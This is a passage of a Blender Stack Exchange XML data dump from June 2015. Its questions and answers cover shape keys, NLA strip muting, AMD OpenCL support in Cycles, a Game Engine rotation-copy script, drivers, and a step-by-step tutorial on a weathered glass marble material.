  <row Id="33034" PostTypeId="2" ParentId="33030" CreationDate="2015-06-26T16:29:46.143" Score="3" Body="&lt;p&gt;In the begining, create shape keys you'll use for animation (as NoviceInDisguise suggested, thanks):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YpFNS.jpg&quot; alt=&quot;scaling_2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in &lt;code&gt;Edit mode&lt;/code&gt; you select the vertices you'd like to scale. To not mess up pivot center, select only vertices located on one plane. Turn on snap during transform with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;, set the &lt;code&gt;Pivot Point&lt;/code&gt; to the &lt;code&gt;median&lt;/code&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&amp;lt;&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8zP0L.jpg&quot; alt=&quot;scaling_1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you don't need to remove doubles, and now it's possible to use shape key, created before. In &lt;code&gt;Object mode&lt;/code&gt; drag the slider and test how it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/487wq.gif&quot; alt=&quot;gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-06-26T16:29:46.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33035" PostTypeId="2" ParentId="33003" CreationDate="2015-06-26T16:47:33.983" Score="2" Body="&lt;p&gt;There is a &lt;code&gt;Muted&lt;/code&gt; checkbox in action strip properties. While in NLA editor hit &lt;kbd&gt;N&lt;/kbd&gt; and open &lt;code&gt;Active strip&lt;/code&gt; scroll (see &lt;a href=&quot;http://www.blender.org/manual/animation/editors/nla.html#active-strip&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more info). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cZUfI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This exactly strip will no longer play while in animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when &lt;code&gt;Muted&lt;/code&gt; is turned on, it pauses on the current action of animation. So you might want to start animation again to make character return to his beginning position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As another way it's possible to turn on &lt;code&gt;Animated&lt;/code&gt; option in Evaluation scroll and set its value to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fK20d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage is that the current position of character will be automatically set to beginning position when &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; pressed.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2015-06-26T16:56:09.530" LastActivityDate="2015-06-26T16:56:09.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33036" PostTypeId="1" CreationDate="2015-06-26T17:45:16.303" Score="2" ViewCount="1556" Body="&lt;p&gt;I have an AMD graphics card (HD 5830), but the rendering runs on the CPU, because Blender not see my graphics card. I think that it will render faster on the GPU than the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I waited the final release version of Blender 2.75 and is now sees at once my GPU, but Cycles Render will not start. The message &quot;Loading render kernels (may take a few minutes the first time)&quot; and then appears &quot;OpenCL build failed: errors in console&quot;, in a console Error E013: Insufficient Private Resources OpenCl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my computer, little RAM, 3GB. Device Manager shows that at the time compilation uses all available memory. Maybe 3GB not enough to successfully compile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone you know, there are cases of successful run in cycles of rendering graphics that do not support AMD GCN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Maybe in my case worth trying to start already compiled kernel OpenCL?&lt;/p&gt;&#xA;" OwnerUserId="15252" LastEditorUserId="15252" LastEditDate="2015-07-02T22:49:05.660" LastActivityDate="2015-07-02T22:49:05.660" Title="Support is planned OpenCL 1.0 in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;opencl&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33037" PostTypeId="1" CreationDate="2015-06-26T17:50:11.993" Score="2" ViewCount="3054" Body="&lt;p&gt;In the object mode we can lock some directions (X,Y,Z) of transformation (scale, rotation, location) for the object by using the locks. But can I do this for the vertices and faces in edit mode, too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5bcY.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="3401" LastEditDate="2015-06-26T19:19:43.987" LastActivityDate="2016-04-22T07:21:57.087" Title="Lock some directions (X,Y,Z) of transformation (scale, rotation, location) in edit mode?" Tags="&lt;transforms&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33038" PostTypeId="2" ParentId="32920" CreationDate="2015-06-26T17:59:22.560" Score="0" Body="&lt;p&gt;The Blender API doesn't support that kind of event-&gt;response system (or event-signal). I think the best way would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Store the active object in an internal variable in your addon, use that var to pick properties and draw the controls&lt;/li&gt;&#xA;&lt;li&gt;Add a handler to &lt;code&gt;bpy.app.handlers.scene_update_post&lt;/code&gt;. This function will be run everytime the scene updates (which is a lot).&lt;/li&gt;&#xA;&lt;li&gt;Inside that callback watch the current active object, if it's different than the one in your internal variable, set the internal var to the new selected object.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;draw()&lt;/code&gt;  will now use the selected object (as is set in the variable) and use different properties.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more info on app handlers check &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;this section of the API reference.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-06-26T17:59:22.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33039" PostTypeId="1" AcceptedAnswerId="33040" CreationDate="2015-06-26T18:13:48.593" Score="2" ViewCount="191" Body="&lt;p&gt;At the minute I use &lt;code&gt;bpy.data.brushes['TexDraw']&lt;/code&gt; in an operator, but can I find the currently active brush in UV/Image Editor?&lt;/p&gt;&#xA;" OwnerUserId="15242" LastEditorUserId="241" LastEditDate="2015-06-26T19:30:19.290" LastActivityDate="2015-06-26T19:30:19.290" Title="How to find active brush in Image Editor context?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33040" PostTypeId="2" ParentId="33039" CreationDate="2015-06-26T18:28:39.940" Score="1" Body="&lt;p&gt;I've found it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.tool_settings.image_paint.brush&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15242" LastActivityDate="2015-06-26T18:28:39.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33043" PostTypeId="1" AcceptedAnswerId="33045" CreationDate="2015-06-26T20:07:45.987" Score="3" ViewCount="348" Body="&lt;p&gt;I'm making a game in blender but as you know when I rotate a camera the Y axis becomes the vertical and the Z becomes the forward/back. Is there a way to rotate it but keep the axis like Z is vertical and Y is forward/back?&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-06-26T20:33:52.497" Title="Changing camera axis" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33044" PostTypeId="1" AcceptedAnswerId="33051" CreationDate="2015-06-26T20:10:26.207" Score="3" ViewCount="1425" Body="&lt;p&gt;If cube1 has rotation logic, how can I make cube2 imitate the rotation of cube1 without using the logic of cube 1?&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="1253" LastEditDate="2015-06-26T22:32:14.110" LastActivityDate="2015-06-26T23:56:35.597" Title="BGE: Can a cube copy the rotation of another cube in game?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33045" PostTypeId="2" ParentId="33043" CreationDate="2015-06-26T20:33:52.497" Score="3" Body="&lt;p&gt;What you can do is parent the rotated camera to an &lt;strong&gt;unrotated&lt;/strong&gt; empty using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;. Now you can animate or manipulate the empty and the camera will follow it exactly, while retaining it's rotation.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-26T20:33:52.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33046" PostTypeId="2" ParentId="28149" CreationDate="2015-06-26T22:06:42.443" Score="1" Body="&lt;p&gt;I think the simple answer to this is just to save your work as a blender file, i.e. .blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find a better way of getting around importing a .mhx file, and then .bvh file and saving my work, so I can reload it later?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As was explained here &lt;a href=&quot;https://blender.stackexchange.com/questions/27779/bvh-export-import-armature-different-when-re-imported&quot;&gt;BVH Export/Import, Armature different when re-imported&lt;/a&gt; , blender files encode more information than bvh files so it make sense to save in blender format.&lt;/p&gt;&#xA;" OwnerUserId="15124" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-06-26T22:06:42.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33048" PostTypeId="1" AcceptedAnswerId="33068" CreationDate="2015-06-26T22:27:50.007" Score="2" ViewCount="521" Body="&lt;p&gt;If you set up render layers in blender and you have them all ticked wouldn't blender render all of those layer for you all at once one after the other with all the associated maps that have been ticked ready for comping in an external application other than blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like blender should do this already and thought it did?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender internal&lt;/p&gt;&#xA;" OwnerUserId="15253" LastEditorUserId="2217" LastEditDate="2015-06-26T23:01:38.483" LastActivityDate="2015-07-27T10:02:52.897" Title="Blender render passes" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;render-layers&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33049" PostTypeId="2" ParentId="33044" CreationDate="2015-06-26T22:29:58.613" Score="-1" Body="&lt;p&gt;One way is to use &lt;em&gt;drivers&lt;/em&gt;. You can, in effect, link the properties of one object to other objects. In your example, you have the choice of &lt;em&gt;driving&lt;/em&gt; all 3 rotation angles or just a single angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a driver, display the rotation properties of the linked-to object (cube2 in your example). An easy way to do this is press &quot;N&quot; in the 3D View or choose the Object Properties tab. Then right-click one of the rotation angle values. Choose &quot;Add Drivers&quot; (all 3 rotations) or &quot;Add Single Driver&quot; (only the chosen rotation). The property value will turn purple and can no longer be changed manually. You can remove the driver by right-clicking and choosing again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next open a Graph Editor window and press &quot;N&quot; to display the Properties sidebar. To the right of the window menu ('View', 'Select', 'Marker', 'Channel', 'Key'), there is a drop-down labeled &quot;F-Curves&quot;. Change this to &quot;Drivers&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity sake, I'll describe how to set up one driven rotation angle. If you want to drive 2 or 3 rotation angles, simple repeat the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the upper left, click one of the angles below &quot;Drivers&quot;. If they aren't visible, you may need to click &quot;Drivers&quot;. Find the Drivers panel in the right-hand Properties sidebar. This panel shows the driver setup.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The first item you likely want to change is &quot;Scripted Expression&quot; to either &quot;Averaged Value&quot; or &quot;Sum Values&quot;. Since you want to copy a single property, you will get the property you want by choosing the average or sum of that single value. (This was confusing to me at first, but it provides a lot of power and flexibility in more complex situations.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By default, a variable has been created called &quot;var&quot;. Choose the &lt;em&gt;driving&lt;/em&gt; object (cube1 in your example) and then choose the property you want to copy using the &quot;Type&quot; drop-down menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You might click &quot;Update Dependencies&quot; if an error message appears beneath the &quot;Remove Driver&quot; button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can test out the driver by rotating cube1 and watch cube2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other resources on using drivers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/animation/basics/drivers.html&quot; rel=&quot;nofollow&quot;&gt;In the Blender Reference Manual&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=BJJJpWcxp0o&quot; rel=&quot;nofollow&quot;&gt;Gustav Nilsson's in-depth tutorial on YouTube&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14969" LastActivityDate="2015-06-26T22:29:58.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33050" PostTypeId="2" ParentId="12270" CreationDate="2015-06-26T22:33:09.227" Score="1" Body="&lt;p&gt;Dynamic paint is the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that you can´t go with only one brush for both length and density weight groups at the same time. &#xA;It looks like the particle generator, no matter if it is emitter or hair, doesn't update very well, in fact it &quot;can't&quot; generate particles  if the canvas has the fade option on for this surface layer (the one used for density) and moving brush objects are involved. Yes, the particles will appear for some frames to inconsistenly dissapear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to use two surface layers in the canvas menu: one for the density and one more for the length.  For this case/example you can use the same brush/mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The density layer should have no fade at all. It means it will paint all in brush area and along his path.&#xA; For this part you can also manually prepaint the area via weights where the particles should appear. Well, you can also use a map or a texture to control the particles density and secure the area of emission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the length layer should have the Fade option activated in order to make the particles appear/dissapear by the area defined by the brush. This layer wil make the magic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things can change if more interaction is involved, like let's say...drivers, curve modifiers,modifiers in general,...for the modifiers case remember to activate the Use modifier stack in the emission pannel in the particle emitter menu. If something doenst updates well try to disconnect/reconnect the weight maps/vertex groups in the influence panel of the particles, inverting/reverting the values in the same menu works fine: (&amp;lt;-&gt; icon)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thats all&lt;/p&gt;&#xA;" OwnerUserId="15254" LastActivityDate="2015-06-26T22:33:09.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33051" PostTypeId="2" ParentId="33044" CreationDate="2015-06-26T23:48:48.343" Score="4" Body="&lt;p&gt;This is possible with a simple python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def main():&#xA;    scene = bge.logic.getCurrentScene()&#xA;&#xA;    cube1 = scene.objects[&quot;realCube&quot;]&#xA;    cube2 = scene.objects[&quot;secondCube&quot;]&#xA;&#xA;    cube2.worldOrientation = cube1.worldOrientation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;realCube&lt;/code&gt; and &lt;code&gt;secondCube&lt;/code&gt; are the names of the actual cube objects in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OSmjv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To attach this script to &lt;code&gt;secondCube&lt;/code&gt;, you can use a &lt;em&gt;python controller&lt;/em&gt; with an &lt;em&gt;always sensor&lt;/em&gt;. Note that the script name must end in a &lt;code&gt;.py&lt;/code&gt; extension for the script to be recognized as a module, and that the python controller is given a method (&lt;code&gt;.main&lt;/code&gt;) defined as a function inside the script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQAtX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/297/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=297&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-26T23:56:35.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33052" PostTypeId="1" CreationDate="2015-06-26T23:53:29.920" Score="2" ViewCount="156" Body="&lt;p&gt;When I'm doing something with metal node groups, I noticed something with the Fresnel node. When I set below 1, I get a strange result, not the result that really reflects but only a part or none reflects(or refracts). I'm using Blender 2.73 by the way.&lt;/p&gt;&#xA;" OwnerUserId="15205" LastActivityDate="2015-06-26T23:53:29.920" Title="Fresnel has to be above 1?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33053" PostTypeId="2" ParentId="33036" CreationDate="2015-06-27T00:53:17.513" Score="2" Body="&lt;p&gt;Not all ATI cards are supported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of supported cards per Blender Development can be found &lt;a href=&quot;http://wiki.blender.org/index.php/OpenCL&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;. While this is not the entire list of cards that have shown to work, I believe they are the GPUs that have been tested &quot;working&quot; by development. From what I've observed from other ATI users, any card that does not have &lt;a href=&quot;https://www.khronos.org/conformance/adopters/conformant-products#opencl&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;OpenCL 1.2 or 2.0&lt;/strong&gt;&lt;/a&gt; support, does not work with Blender 2.75 (and 2.74 w/ ATI Patch), and will not show in the list of Computing Devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, Blender only works with the latest drivers from AMD, and if that driver does not have the OpenCL support for older cards, Blender will not support it. On a good note, the Blender viewport will support more versions of OpenGL in the future. Some users have had luck using beta drivers with older cards, and using an ATI patched Blender (2.74.5 - 2.75rc2).&lt;/p&gt;&#xA;" OwnerUserId="14374" LastEditorUserId="14374" LastEditDate="2015-06-28T19:55:44.050" LastActivityDate="2015-06-28T19:55:44.050" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33054" PostTypeId="2" ParentId="32494" CreationDate="2015-06-27T01:03:20.117" Score="25" Body="&lt;p&gt;Decided I'll post a tutorial anyway in case anyone else is curious in the future, as the techniques used are &lt;strong&gt;extremely valuable&lt;/strong&gt; to a variety of different scenes and renders! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is along the lines of what we'll be creating, rendered at &lt;strong&gt;150 samples&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i8u9I.jpg&quot; alt=&quot;Red Marble Final1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; To begin, I've used a relatively simple scene setup comprised of a UV Sphere, backdrop and 3 emission Mesh Lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1s1N.png&quot; alt=&quot;Scene Setup1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Diving in head first, we'll jump straight on over into the node editor! The basic glass material will be comprised of 2 Shaders, a &lt;code&gt;Glass BSDF&lt;/code&gt; mixed with a &lt;code&gt;Glossy BSDF&lt;/code&gt;, with a &lt;code&gt;Layer Weight&lt;/code&gt; node's &lt;code&gt;Facing&lt;/code&gt; output plugged into the &lt;code&gt;Fac&lt;/code&gt; input of the &lt;code&gt;Mix Shader&lt;/code&gt;. Set the &lt;code&gt;Blend&lt;/code&gt; of the &lt;code&gt;Layer Weight&lt;/code&gt; node to &lt;code&gt;0.200&lt;/code&gt;. Change the &lt;code&gt;Glass BSDF&lt;/code&gt;'s light distribution type to &lt;code&gt;GGX&lt;/code&gt;, and the &lt;code&gt;IOR&lt;/code&gt; to a value of &lt;code&gt;1.800&lt;/code&gt;. Finally, add an &lt;code&gt;RGB&lt;/code&gt; node and plug the &lt;code&gt;Colour&lt;/code&gt; output of the RGB node to the &lt;code&gt;Colour&lt;/code&gt; input of both the &lt;code&gt;Glass BSDF&lt;/code&gt; and &lt;code&gt;Glossy BSDF&lt;/code&gt;. Change the colour of the RGB node to the values shown in the following screenshot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1bgNe.png&quot; alt=&quot;RGB Colour1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MbQRR.png&quot; alt=&quot;Progress Image1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Now we've got the basic glass set up, let's add in some fingerprints! Glass is rarely ever 100% clean, and unless it's been recently polished or moved by machine it's going to have little bits of human grime on it in the form of fingerprints. We'll add this photorealistic detailing in through the use of a custom 'Finger Print Map', which I created using &lt;strong&gt;chain&lt;/strong&gt;'s brushes located here &lt;a href=&quot;http://chain.deviantart.com/art/fingerprint-brushes-549217&quot; rel=&quot;noreferrer&quot;&gt;http://chain.deviantart.com/art/fingerprint-brushes-549217&lt;/a&gt; . You can download my &lt;strong&gt;Seamless Texture&lt;/strong&gt; from the imgur album link at the bottom of this post :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by adding a &lt;code&gt;Texture Coordinate&lt;/code&gt;, connected via the &lt;code&gt;Object&lt;/code&gt; output to a &lt;code&gt;Mapping&lt;/code&gt; node. Change the Mapping Node's XYZ &lt;code&gt;Scale&lt;/code&gt; values to &lt;code&gt;0.500&lt;/code&gt; and connect to an &lt;code&gt;Image Texture&lt;/code&gt; Node. Open up the 'Fingerprint' texture into this node and set the projection type dropdown from &lt;code&gt;Flat&lt;/code&gt;, to &lt;code&gt;Box&lt;/code&gt;, with a &lt;code&gt;Blend&lt;/code&gt; of &lt;code&gt;0.500&lt;/code&gt;. Finally add in a &lt;code&gt;Mix RGB&lt;/code&gt; node and set the blend type to &lt;code&gt;Add&lt;/code&gt;. Plug the Image Texture into the add and the Add into the &lt;code&gt;Roughness&lt;/code&gt; Input of the &lt;code&gt;Glossy BSDF&lt;/code&gt; shader as follows in the screenshot. Finally change the &lt;code&gt;Colour 2&lt;/code&gt; input of the Add node to a more greyish colour, i found changing the RGB values to &lt;code&gt;0.250&lt;/code&gt; to work quite well. This just helps to mute the fingerprints slightly and make them appear more realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/met6p.png&quot; alt=&quot;Progress Image2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Next comes the scratches! These tiny details will add both roughness and surface texture to the marble, all the while enhancing the realism! Again I created this &lt;strong&gt;Seamless Scratch Texture&lt;/strong&gt; from, well scratch, using &lt;strong&gt;KeepWaiting&lt;/strong&gt;'s brush set located at &lt;a href=&quot;http://keepwaiting.deviantart.com/art/11-Scratch-Brushes-for-PS7-177075258&quot; rel=&quot;noreferrer&quot;&gt;http://keepwaiting.deviantart.com/art/11-Scratch-Brushes-for-PS7-177075258&lt;/a&gt; , again you can download the &lt;strong&gt;Normal Map&lt;/strong&gt; of the texture in the imgur link at the bottom!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by duplicating the &lt;code&gt;Mapping&lt;/code&gt; and &lt;code&gt;Image Texture&lt;/code&gt; Nodes and connecting them up to the &lt;code&gt;Texture Coordinate&lt;/code&gt; Node as we did in the previous step. Change the scale of the Mapping Node's XYZ to &lt;code&gt;2.000&lt;/code&gt; and open up the 'Scratch Normal Map' in the Image Texture node, changing the Colour Space from &lt;code&gt;Colour&lt;/code&gt; to &lt;code&gt;Non-Colour Data&lt;/code&gt; and the &lt;code&gt;Blend&lt;/code&gt; to &lt;code&gt;0.000&lt;/code&gt;. Next, add in a &lt;code&gt;Normal Map&lt;/code&gt; node and connect it to the Image Texture and Glass/Glossy nodes as shown in the screenshot. Finally, change the &lt;code&gt;Strength&lt;/code&gt; value to &lt;code&gt;0.100&lt;/code&gt;. This will add subtlety to scratches that are really only visible around light sources reflected off the glass, but it'll help sell the weathered effect by a million percent! ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EKWkj.png&quot; alt=&quot;Progress Image3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; The final step! And arguably the most complex, so it'll be easier to explain it by showing, rather than explaining. Using the custom dirt map that I have edited from this original image: &lt;a href=&quot;https://hmmatthews.files.wordpress.com/2012/07/table_colour.jpg&quot; rel=&quot;noreferrer&quot;&gt;https://hmmatthews.files.wordpress.com/2012/07/table_colour.jpg&lt;/a&gt; , we will overlay it on top of the glass, adding an effect similar to that caused by limescale and grimey water and dust drying on a window surface... or a marble in this case! :P This image will also be available in the imgur link at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Begin by repeating the process of adding in &lt;code&gt;Mapping&lt;/code&gt; and &lt;code&gt;Image Texture&lt;/code&gt; Nodes, change the XYZ Scale to &lt;code&gt;1.000&lt;/code&gt;, load up the 'Dirt Map' Texture and set the &lt;code&gt;Blend&lt;/code&gt; to &lt;code&gt;1.000&lt;/code&gt;. Next add in a &lt;code&gt;Diffuse BSDF&lt;/code&gt; (with a colour of that shown in the screenshot) with a &lt;code&gt;Transparent BSDF&lt;/code&gt;, and mix them together. Plug the &lt;code&gt;Dirt Map&lt;/code&gt; Texture into the &lt;code&gt;Fac&lt;/code&gt; input of the &lt;code&gt;Mix Shader&lt;/code&gt;. Add a second &lt;code&gt;Mix Shader&lt;/code&gt; and insert it as the last node before the &lt;code&gt;Material Output&lt;/code&gt;, blending together the rest of the nodes with the 'Dirt Map'. Again plug the 'Dirt Map's input into this second Mix Shader's &lt;code&gt;Fac&lt;/code&gt; input, however this time add in a &lt;code&gt;ColourRamp&lt;/code&gt; node onto the connecting node branch, and edit the stoppers as shown in the screenshot. This causes that subtle speckled effect that is definitely totally not noise...! (Don't worry it becomes more obvious with more samples!) ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7y1ir.png&quot; alt=&quot;RGB Colour2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TImxa.png&quot; alt=&quot;Progress Image4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;(Optional Step:)&lt;/em&gt;&lt;/strong&gt; Below are several setup screenshots of my render settings for the final image at the start of the tutorial, using my &lt;strong&gt;CPU&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bQxKb.png&quot; alt=&quot;Render Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there you have it, the &lt;em&gt;final result&lt;/em&gt; alongside a &lt;strong&gt;sweet&lt;/strong&gt; node Setup! :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NxPbM.jpg&quot; alt=&quot;Final Tutorial Result1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZLzZJ.png&quot; alt=&quot;Final Node Setup1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as I mentioned the techniques and textures can be used with a variety of different materials in a variety of different scenes! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CPpH.jpg&quot; alt=&quot;Material Presentations1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps! :D&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Links:-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; &lt;em&gt;Imgur Link to Custom Maps:&lt;/em&gt; &lt;a href=&quot;https://imgur.com/a/0Fpru&quot; 